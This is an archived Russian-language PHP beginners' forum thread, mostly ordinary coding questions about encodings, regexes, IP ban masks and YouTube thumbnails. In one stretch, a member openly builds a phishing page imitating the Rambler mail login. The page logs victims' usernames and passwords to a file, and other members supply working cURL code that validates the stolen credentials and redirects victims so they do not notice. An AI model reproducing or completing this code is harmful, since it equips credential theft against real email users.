PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 [58] 59 60 61 62 63 64 65 66

TANZWUT
11.01.2010, 12:09
нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.

m0Hze
11.01.2010, 15:34
$res = array('Messages' => array("params1"=>'привет'));
echo json_encode($res);

Какого члена он убивает русские символы,превращая их в null?
Поясню,что массив получен из Бд,где колонки в utf8_general_ci, а после коннекта

mysql_query('SET character_set_client=cp1251');
//Уствнока кодировки запросов
mysql_query('SET character_set_results=cp1251');
//Уствнока кодировки соединения
mysql_query('SET character_set_connection=cp1251');
//Уствнока кодировки сервера
mysql_query('SET character_set_server=cp1251');

В какую кодировку передрать массив,чтобы работало? :(
Я вообще в супоре,
echo mb_detect_encoding($row['msubj']);
Показывает ASCII :( Блиа, чтотонпойму в какую конвертировать, все так прекрасно работало =(

Kusto
11.01.2010, 15:50
поидее json_encode This function only works with UTF-8 encoded data. от других кодировок- он отплевываеться

m0Hze
11.01.2010, 15:53
поидее json_encode This function only works with UTF-8 encoded data. от других кодировок- он отплевываеться
А я мануалы юзать тоже умею :p
Вся штука в том,что я перекодировать не могу.Но,теперь он у меня выводит русские букавы,вот только заместо них ????,и кодировку все равно определяет ASCII.Что делать?

m0Hze
11.01.2010, 15:57
В общем,картина Репина: Приплыли.
Я в шоке нахожусь.Теперь ситуация такая:

mysql_query('SET character_set_client=cp1251');
//Уствнока кодировки запросов
mysql_query('SET character_set_results=cp1251');
//Уствнока кодировки соединения
mysql_query('SET character_set_connection=cp1251');
//Уствнока кодировки сервера
mysql_query('SET character_set_server=cp1251');


echo json_encode($res);

Выводит - ничего из русских символов.А далее,самый экшн.

echo mb_detect_encoding($row['msubj']);

Показывает UTF-8.Так схерали оно не работает скажу я? :o

Kusto
11.01.2010, 15:58
по такому принципу не кодирует? \u0438\u0440\u043c\u0430

m0Hze
11.01.2010, 16:03
по такому принципу не кодирует? \u0438\u0440\u043c\u0430
Угу,закодировал.Перепробыв ал все известные мне кодировки,добился я этого.А теперь впорос намбер 2.Как заставить jquery это расколдовать?
/Вопрос снимаеться, он автоматически раскодовывает это дело.Пока трудностей не возникнет,вопрос можно считать закрытым./

Kusto
11.01.2010, 16:07
вобщем копировать не буду функция decode() пример смотри здесь
http://www.linkexchanger.su/2008/41.html

svesve
11.01.2010, 19:06
нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.

имхо проще в шаблоне не выводить их на показ, а не функцию ковырять....
в шабе пропиши что-то типа

{php}
if(ereg("192\.168\.0\.(.*)",getenv("REMOTE_ADDR")){
echo "";
}
elseif(ereg("172\.1\.0\.(.*)",getenv("REMOTE_ADDR"){
echo "";
}else{
echo $sape->return_links();
}
{/php}

Keltos
11.01.2010, 20:01
нужна помощь, есть ф-ия smarty_function_sape (примеров кода в сети уйма), надо забанить только несколько указаных диапазонов IP адресов для локальной сети (типа 172.1.0.1-172.1.0.255 и 192.168.0.1-192.168.0.255) на показ ссылок.
Смотрим регуляркой на IP, и если не найдены диапы, вызываем функцию.

<?php

if(!preg_match('#172\.1\.0\.[0-9]{1,3} | 192\.168\.0\.[0-9]{1,3}#', $_SERVER['REMOTE_ADDR']))
smarty_function_sape();

function smarty_function_sape() {
echo 'smarty_function_sape';
}
?>

TANZWUT
12.01.2010, 18:00
Спасибо, но я уже сделал по примерам таким вот способом:

<?php
function check_deny($mask)
{
$idx = preg_match("#(.*)\.(.*)\.(.*)\.(.*)#", $mask, $ban_args);
$idx = preg_match("#(.*)\.(.*)\.(.*)\.(.*)#", $_SERVER["REMOTE_ADDR"], $ip_args);
for($x=1;$x<=4;$x++)
{
if (($ban_args[$x] == $ip_args[$x]) || $ban_args[$x] == "XXX")
return "banned";
return "clear";
}
}

function smarty_function_sape($params,&$smarty)
{
define('_SAPE_USER', '85e0d69d................1eb2d3a3');
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
$banmask1 = "1.1.1.XXX";
$banmask2 = "2.2.2.XXX";
$banmask3 = "3.3.3.XXX";
// $o[ 'force_show_code' ] = true;
//$sape = new SAPE_client( $o );
if (check_deny($banmask1)=="banned")
{
echo "";
}elseif (check_deny($banmask2)=="banned")
{
echo "";
}elseif (check_deny($banmask3)=="banned")
{
echo "";
}else
{$sape = new SAPE_client();
echo $sape->return_links();
}
}
?>

VladZombie
13.01.2010, 05:05
Как сделать чтобы количество комментариев записывалось в файл? Вставляю этот код в обработчик

<?PHP $file = file_get_contents('text.txt'); preg_match('(.*)', $file, $out) ; $a=$out[0]; $filelog = fopen("text.txt","w+"); $a=$a+1; fwrite($filelog," $a "); fclose($filelog); ?>

но он выдаёт ошибку. Как исправить? или подскажите другой способ.

-=Zhenek=-
13.01.2010, 09:00
Спасибо, но я уже сделал по примерам таким вот способом:

Странно мне нужно было тоже самое,но не для сапы..

взял у вас функцию check_deny

передаю ей маску 127.0.0.XXX

и тестирую на локалке. Получается мой ИП 127.0.0.1 и он попадает в маску. Функция говорит Banned

но передаем следом маску 127.0.1.XXX и тоже говорит banned

b3
13.01.2010, 15:30
Вот на скорую руку, вроде справляется, но не углублялся.

<?php
ban_ip('127.0.0.*');
echo 'Все ок =)';



function ban_ip($mask) {
list($ip1,$ip2,$ip3,$ip4) = explode('.',$mask);

$regexp = "#$ip1\.$ip2\.$ip3\.$ip4#";
$regexp = str_replace('*','(\d+)',$regexp);

if(preg_match($regexp,$_SERVER['REMOTE_ADDR']))
die('Извините, но ваш IP('.$_SERVER['REMOTE_ADDR'].') адрес, попадает под маску заблокированных.');
}
?>

Gifts
13.01.2010, 17:58
Strilo4ka Есть мнение, что под расширением может скрываться почти любая СУБД. Любая из этих- http://ru.php.net/manual/en/refs.database.vendors.php и не только

winlogon.exe
13.01.2010, 17:58
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?

Patronik
13.01.2010, 19:04
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.

winlogon.exe
13.01.2010, 19:56
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
нет. картинка-информер берется с другого сайта

b3
13.01.2010, 20:12
Гугли "прозрачность на gd2"

Mil-Net
14.01.2010, 02:52
Здраствуйте!

<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit( ),5);
</script>



Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать


if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}


Для понятия пишу Фейк с авторизацией!

Заранее благодарен) :)

m0Hze
14.01.2010, 06:51
Здраствуйте!

<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit( ),5);
</script>



Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать


if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}


Для понятия пишу Фейк с авторизацией!

Заранее благодарен) :)
Наверное потом,что стоит почитать как на PHP работать с удаленными серверами.Это делаеться не при помощи кнопок,а например cURL.Копайте в сторону сокетов,курлов, file_get_contents();.

m0Hze
14.01.2010, 11:20
Так,всем как всегда привет.На этот раз я заскочил вот с каким вопросом:
Все вы знаете,что если на античате например открыть сообщение отдельно,то у ТС заместо Провел на форуме: будет микровремя.так вот вопрос,как перевести опять в тот же стандарт.Тоесть имеем:

$time = 4668725;

Нужно получить: 1 месяц 3 недели 3 дня

GlooK
14.01.2010, 11:40
$time = 4668725;

Нужно получить: 1 месяц 3 недели 3 дня

$time = 4668725;
$totaldays = (int)($time / 86400); // секунды => дни
$month = (int)($totaldays / 30); // месяца
$lostdays = $totaldays % 30; // остаток дней
$weeks = (int)($lostdays / 7); // недель
$days = $weeks % 7; // дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';

Без склонений слов.

Freakazoitt
14.01.2010, 14:03
Есть вот такой кусок кода:

Код:

$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}

он не работает на второй строчке

надо: Если строка $msg начинается на "/me" то выполнить действие ниже

olishort
14.01.2010, 14:20
...

$user = $row['nick'] ;

$msg = '/meOlolo';
$submsg = substr($msg, 0, 3);

if($submsg == '/me'){
$msg = str_replace ("/me", "<i>{$user}</i>", $msg);
$user = "";
}

m0Hze
14.01.2010, 15:52
$time = 4668725;
$totaldays = (int)($time / 86400); // секунды => дни
$month = (int)($totaldays / 30); // месяца
$lostdays = $totaldays % 30; // остаток дней
$weeks = (int)($lostdays / 7); // недель
$days = $weeks % 7; // дней
echo $month.' мес. '.$weeks.' нед. '.$days.' дн.';

Без склонений слов.
Спасибо,но помоему есть ф-ция в которая делает это автоматически.Пойду гуглить :)

winlogon.exe
14.01.2010, 16:02
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
гуглил, пробывал.. ничего не выходит(( help me :)

Deathdreams
14.01.2010, 16:03
Есть вот такой кусок кода:

Код:

$user=$row['nick'];
if (preg_match("/me", $msg, $msg_1))
{
$msg=str_replace ("/me","<i>".$user."",$msg);
$user="";
}

он не работает на второй строчке

надо: Если строка $msg начинается на "/me" то выполнить действие ниже


$user = $row['nick'];

if (preg_match("/^\/me/i", $msg)) {

$msg = str_replace ( "/me", "<i>".$user, $msg );
$user = "";

}

olishort
14.01.2010, 16:37
гуглил, пробывал.. ничего не выходит(( help me :)

хуево искал
http://www.google.com/cse?cx=016878352597257888384%3Aqji4qkjjmem&q=php+%D0%BF%D1%80%D0%BE%D0%B7%D1%80%D0%B0%D1%87%D 0%BD%D0%BE%D1%81%D1%82%D1%8C

olishort
14.01.2010, 18:16
Есть колонка в таблице которую по циклу нужно обновлять добавляя в нее инфу, так вот как правильно такое реализовать чтоб добавляемые данные не повторялись ?

приведи пример.

P.S - Знает кто, как узнать количество голосов пользователя? (при этом не парсить с главной)

Mil-Net
14.01.2010, 20:13
Продолжаю вчерашний вопрос...


<?php

function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);

$ch = curl_init ();

curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );

curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");

$res = curl_exec($ch);

curl_close ( $ch );

if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
return $s[1];
else return false;
}

$email = $_POST['login'];
$password = $_POST['passw'];


if(!rambler_login($email, $password)) {
echo $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";

}

?>


Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:

Moved
The document has moved here.

При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода

Moved
The document has moved here.
:)

GlooK
14.01.2010, 20:16
Продолжаю вчерашний вопрос...

Все работает,но при вводе правильного логина и пароля выдается такое содиржание страницы:

Moved
The document has moved here.

При нажатии на here успешно авторизуется на ящике!
Так вот вопрос следующего содержания
Как автоматом переходить в ящик без вывода

Moved
The document has moved here.
:)

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

Mil-Net
14.01.2010, 20:33
Сапасибо большое!
Только вот еше один нюанс ...
При вводе верного пароля заходит на яшик но остается в в строке браузера хост
В моем случае http://localhost/777.php так вот как заменить
http://localhost/777.php на http://mail.rambler.ru/mail/startpage

Kusto
14.01.2010, 20:36
Сапасибо большое!
Только вот еше один нюанс ...
При вводе верного пароля заходит на яшик но остается в в строке браузера хост
В моем случае http://localhost/777.php так вот как заменить
http://localhost/777.php на http://mail.rambler.ru/mail/startpage
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.rambler.ru/mail/startpage'></head></html>";

Mil-Net
14.01.2010, 21:01
Кхе извиняюсь за упрямство но чтото неполучается
Чтото в коде самом нетак а что немогу понять...

<?php

function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);

$ch = curl_init ();

curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );

curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");

$res = curl_exec($ch);

curl_close ( $ch );
}

$email = $_POST['login'];
$password = $_POST['passw'];

if(!rambler_login($email, $password)) {
echo $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://mail.rambler.ru/mail/startpage'></head></html>";

}
?>


Посмотрите сам код плиз!

Dr.Frank
14.01.2010, 21:10
Видимо не работает из-за того, что функция rambler_login нечего не возвращает, нету return
+ к этому поставь после function rambler_login($login,$passw)
{
строчку
global $res;

Mil-Net
14.01.2010, 21:47
Вот я и незнаю как дописать эту функцию

if(!rambler_login($email, $password)) {

а вот вместо переменных $email, $password в голову неприходит что задать
Тоесть как эту функцию организовать так сказать

GlooK
14.01.2010, 22:19
<?php

function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);

$ch = curl_init ();

curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );

curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");

$res = curl_exec($ch);

curl_close ( $ch );
// а здесь должна быть функция определения валидности мыла
// если валид то делаем return true;
// если невалид то делаем return false;
}

$email = $_POST['login'];
$password = $_POST['passw'];

if(!rambler_login($email, $password)) {
echo $res;
} else {
header('Location: http://mail.rambler.ru/mail/startpage');

}
?>

Лучше через хидры.

Также переменная $res в функции rambler_login локальная т.е. после выполнения функции переменная $res не будет существовать.
Допиши после:

function rambler_login($login,$passw)
{
global $res;

Mil-Net
14.01.2010, 22:48
Последний вопрос!
Как правильно зделать эту функцию?
if(preg_match('$login=\'s\' $passw=\'s\' value=\'(.*)\'#',$res,$s))

И где об этой функции почитать подробнее)))

mailbrush
14.01.2010, 22:51
google.com -> Регулярные выражения

Mil-Net
14.01.2010, 23:00
google.com -> Регулярные выражения
Хм оригинально)
Но я рыл уже там и норм статей описывающих функцию и как ее реализовать не нашол)

mailbrush
14.01.2010, 23:07
php.su/functions/?preg_match

PS: сначала синтаксис выучи (погугли, там на сайте phpclub.ru есть отличная статтейка), а потом функции учи...

Mil-Net
14.01.2010, 23:15
Смотрел уже я это немогу понять принцип действия!
Понимаешь!

mailbrush
15.01.2010, 00:02
Смотрел уже я это немогу понять принцип действия!
Понимаешь!
Я то понимаю, но ты не понимаешь :) Почитай еще раз... Я с первого раза понял все по статье с phpclub

Mil-Net
15.01.2010, 00:14
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс _поиск", массив_с_результами_поиска)

Ну так не правильно

GlooK
15.01.2010, 00:27
Ну вот мое предположение как делать
preg_match($login,\login\,$passw,\passw\,$res,$s)
делаю по этой схеме
preg_match("шаблон_поиска", "строка_в_которой_проводитс _поиск", массив_с_результами_поиска)

Ну так не правильно

В зависимости от того что тебе нужно, реализуется по разному:

1. Проверка, есть ли заданный текст в строке

if (preg_match('/name="passw" id="passw"/', $result) {да строка name="passw" id="passw" есть в переменной $result}

но лучше

if (strstr($result, 'name="passw" id="passw"') {да строка name="passw" id="passw" есть в переменной $result}

2. Поиск определенных данных из текста

preg_match('/name="passw" id="passw" value="(.*?)"/', $result, $temp);
echo $temp[1]; // name="passw" id="passw" value="ЭТО ЗНАЧЕНИЕ ВЫВОДИТСЯ!"

Mil-Net
15.01.2010, 01:15
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...

<?php

function rambler_login($login,$passw)
{
$login = urlencode($login);
$passw = urlencode($passw);

$ch = curl_init ();

curl_setopt ( $ch , CURLOPT_URL , "http://id.rambler.ru/script/auth.cgi?mode=login" );
curl_setopt ( $ch , CURLOPT_HEADER , 0 );

curl_setopt($ch, CURLOPT_REFERER, 'http://id.rambler.ru/script/auth.cgi');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "login=$login&passw=$passw");

$res = curl_exec($ch);

curl_close ( $ch );

if(preg_match('/name="passw" id="passw" value="(.*?)"/', $res, $s))
return $s[1];
else return false;
}

$email = $_POST['login'];
$password = $_POST['passw'];


if(!rambler_login($email, $password)) {
global $res;
} else {
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=activate.htm'></head></html>";
}
?>

GlooK
15.01.2010, 02:24
Даж чтож такое опять неработает!
Посмотрите что опять нетак?
По идеи всю уже дожно работать...
Тебе это нужно?

Файл: auth.php

<?php
### curl
function curl($url, $post = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;}

### authorization
function authorization($login, $passwd) {
$result = curl('http://id.rambler.ru/script/auth.cgi?mode=login', 'login='.$login.'&passw='.$passwd);
if (strstr($result, '<p class="txt_error">') <> null) {
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
else {header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);}
}

### main
if (!empty($_POST['login']) && !empty($_POST['passw'])) {
authorization($_POST['login'], $_POST['passw']);}
else {

$result = curl('http://id.rambler.ru/script/auth.cgi');
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
?>

REBUUS
15.01.2010, 02:42
есть у кого ни будь скрипт пхп который с url из youtube на сайт добалял виде

ну я как бы все сам сделал уже, в базу все заносит , единственное что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет

GlooK
15.01.2010, 04:33
Ну как бы пиктограмму можно тырить с:
http://i1.ytimg.com/vi/HASHVIDEO/2.jpg
Там, где HASHVIDEO - параметр v:
http://www.youtube.com/watch?v=Fuc1aH-BY2c
т.е. в данном случае
http://i1.ytimg.com/vi/Fuc1aH-BY2c/2.jpg

UPD:
В большом разрешении:
http://i3.ytimg.com/vi/Fuc1aH-BY2c/hqdefault.jpg

Скрипт:

<?php
if (!empty($_POST['url'])) {
preg_match('/watch\?v=(.*?)$/iD', $_POST['url'], $temp);
echo '<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>';
echo '<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';}
?>
<center>
<form method="post">
<input type="text" name="url" value="">
<input type="submit" value="Загрузить!">
</form>
</center>

imajo.ati
15.01.2010, 12:04
что бы еще хотелось что бы кусочек скрипта который бы брал скрин с видео (как в youtube бывает когда выбираешь видео ) , я такое видел на social engine там только url вводишь и все сам добавлял и иконку картинки от видео тоже , вот я не понял откуда он его берет
http://www.google.ru/search?q=php+ffmpeg

Mil-Net
15.01.2010, 13:46
Тебе это нужно?

Файл: auth.php

<?php
### curl
function curl($url, $post = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;}

### authorization
function authorization($login, $passwd) {
$result = curl('http://id.rambler.ru/script/auth.cgi?mode=login', 'login='.$login.'&passw='.$passwd);
if (strstr($result, '<p class="txt_error">') <> null) {
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
else {header('Location: http://id.rambler.ru/script/auth.cgi?mode=login&login='.$login.'&passw='.$passwd);}
}

### main
if (!empty($_POST['login']) && !empty($_POST['passw'])) {
authorization($_POST['login'], $_POST['passw']);}
else {

$result = curl('http://id.rambler.ru/script/auth.cgi');
$result = ereg_replace('href="/', 'href="http://id.rambler.ru/', $result);
$result = ereg_replace('src="', 'src="http://id.rambler.ru', $result);
$result = ereg_replace('auth.cgi', 'auth.php', $result);
echo $result;}
?>


Да вот то что я хотел зделать спасибо большое за помошь)))

GlooK
15.01.2010, 14:33
что за ошибка:
я понимаю пишет что где еще есть функция но ее больше нигде нет что за фигня или не может обявить но почему:
Выложи код с 85 по 87 строку.

REBUUS
15.01.2010, 14:57
Ну как бы пиктограмму можно тырить с:

Там, где HASHVIDEO - параметр v:

т.е. в данном случае


UPD:
В большом разрешении:


Скрипт:

<?php
if (!empty($_POST['url'])) {
preg_match('/watch\?v=(.*?)$/iD', $_POST['url'], $temp);
echo '<center><b>Пиктограмма</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/2.jpg'.'"></center><br>';
echo '<center><b>HD - качество</b><br><img src="'.'http://i1.ytimg.com/vi/'.$temp[1].'/0.jpg'.'"></center><br>';}
?>
<center>
<form method="post">
<input type="text" name="url" value="">
<input type="submit" value="Загрузить!">
</form>
</center>



спасибо GlooK, я вчера решил проблему, просто забыл отписаться :)

Mil-Net
15.01.2010, 16:13
Parse error: syntax error, unexpected T_LNUMBER, expecting ',' or ';'
На 19 строке выдает ошибку
В чем трабла?




<?PHP
include("config.php");
if($_POST['Pass']==$password){setcookie('Pass',md5($password));head er("Location: ".$_SERVER["SCRIPT_NAME"]);}
if($_COOKIE['Pass']==md5($password))
{
if($_POST['do_exit']=='Выход'){setcookie('Pass','');header("Location: ".$_SERVER["SCRIPT_NAME"]);}
include("header.php");

include("panel.php");
include("logs.php");
include("footer.php");
}
else
{
echo "<html>

<title>Вход в панель администратора</title>
<table border="0" align="center" cellpadding="0" cellspacing="0" id="enter">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<tr>
<td id="header-enter"><img src="admin_files/logo0000.gif" width="315" height="64" alt="Вход в панель администратора"/></td>
</tr>
<tr>
<td >
<form method=POST>
<input name="auth" type="hidden" value="1"/>
<table width="100%" border="0" cellspacing="0" cellpadding="4">
<tr>
<td align="right">Пароль</td>
<td><input name="Pass" type="password" tabindex="2"/></td>
<td width="34%" rowspan="2" align="center" valign="middle"><button type="submit" tabindex="3" style="width: 100px" >Войти<img src="admin_files/icon_key.gif" width="18" height="18" align="absmiddle" style="margin-left: 6px" /></button></td>
</tr>
</table>
<br />
</form>
</td>
</tr>
</table>

</html>";
}
?>

Gifts
15.01.2010, 16:15
Mil-Net Экранировать кавычеги надо

-=lebed=-
15.01.2010, 16:17
<?PHP
include("config.php");
if($_POST['Pass']==$password){setcookie('Pass',md5($password));head er("Location: ".$_SERVER["SCRIPT_NAME"]);}
if($_COOKIE['Pass']==md5($password))
{
if($_POST['do_exit']=='Выход'){setcookie('Pass','');header("Location: ".$_SERVER["SCRIPT_NAME"]);}
include("header.php");

include("panel.php");
include("logs.php");
include("footer.php");
}
else
{
echo '<html>

<title>Вход в панель администратора</title>
<table border="0" align="center" cellpadding="0" cellspacing="0" id="enter">
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<tr>
<td id="header-enter"><img src="admin_files/logo0000.gif" width="315" height="64" alt="Вход в панель администратора"/></td>
</tr>
<tr>
<td >
<form method=POST>
<input name="auth" type="hidden" value="1"/>
<table width="100%" border="0" cellspacing="0" cellpadding="4">
<tr>
<td align="right">Пароль</td>
<td><input name="Pass" type="password" tabindex="2"/></td>
<td width="34%" rowspan="2" align="center" valign="middle"><button type="submit" tabindex="3" style="width: 100px" >Войти<img src="admin_files/icon_key.gif" width="18" height="18" align="absmiddle" style="margin-left: 6px" /></button></td>
</tr>
</table>
<br />
</form>
</td>
</tr>
</table>

</html>';
}
?>


мля, как да же вы кавычки будете юзать разные или экранировать их научитись? Подсветка тут для кого сделана? Сразу ведь видно!

Mil-Net
15.01.2010, 16:29
Спасибо незнал что проблема может быть в кавычках с html в php работаю впервые просто!

harom
15.01.2010, 17:46
установить права на файл (аватарка)

на юникс хостинге столкнулся с проблемой прав доступа

при загрузке файла, нужно задать кму права

подскажите, в чём может быть ошибка?

chmod("/uploads/".$file_name, 0755);

выдаёт ошибку
Warning: chmod() [function.chmod]: No error in W:\home\localhost\www\upload.php on line 108

это же не синтаксическая ошибка! что мешает задать права файлу, который сохраняется в uploads ?

imajo.ati
15.01.2010, 19:05
на юникс хостинге столкнулся с проблемой прав доступа

Warning: chmod() [function.chmod]: No error in W:\home\localhost\www\upload.php on line 108

а почему в твоем юникс хостинге путь бэкслэшами разделяется? может быть это всё-таки виндовс?

попробуй полный путь указать в параметре
попробуй сделать file_exists предварительно

blackybr
15.01.2010, 20:59
Ты не чмоднишь файлы в винде..
Хотя на сайте пхп в коментах пишут, что read-only (444) и еще что-то поставить через него можно.

Deathdreams
15.01.2010, 21:23
harom,
Если не знаешь ОС хостинга, юзай вместо слешей DIRECTORY_SEPARATOR
Например:

$sep = DIRECTORY_SEPARATOR;
chmod($sep."uploads".$sep.$filename, 0755);

ubuntu
15.01.2010, 22:08
как очистить куки для определенного сайта? или все куки :)

harom
15.01.2010, 22:29
$sep = DIRECTORY_SEPARATOR;
chmod("uploads".$sep.$file_name, 0755);

Deathdreams держи +
теперь буду знать!

а по поводу бэкслэш, я же привёл пример ошибки с винды(больше так не буду)))

spamoney
16.01.2010, 10:00
Добрый День! Помогите разобраться, почему на хостинге (на локалке всё норм) не работает следующий код:


$str='Слово, слово-слово2 слово!';
$f[]='#(\b)слово(\b)#si';
$s[]='<a href="#">Замена</a>';
echo preg_replace($f, $s, $str);


версия PHP: 5.2.11

ReduKToR
16.01.2010, 10:09
как очистить куки для определенного сайта? или все куки

session_destroy();
setcookie(session_name(), "", time() - 3600, "/");

м?

mailbrush
16.01.2010, 10:36
session_destroy();
setcookie(session_name(), "", time() - 3600, "/");

м?
Покажи как ты этим кодом очистишь куки, эм... например, для античата?

ReduKToR
16.01.2010, 10:40
mailbrush,вродибы ему надо был код,с помощью которого он бы мог делать чистку на своем сайте

mailbrush
16.01.2010, 10:42
mailbrush,вродибы ему надо был код,с помощью которого он бы мог делать чистку на своем сайте
Ты читать умеешь?
как очистить куки для определенного сайта? или все куки :)

suser
16.01.2010, 11:41
Каки вопросы?
берём СГ массив $_COOKIE[]
Суём в цикл
Удалить cookie тоже очень просто, достаточно передать функции setcookie() имя cookie и PHP сделает все остальное:

<?php setcookie('name'); ?>


самое первое что пришло в голову, не проверял
//
foreach($_COOKIE as $temp)
{
setcookie($temp);
}

ubuntu
16.01.2010, 14:49
а можно через команду system удалить файл куков ие ?
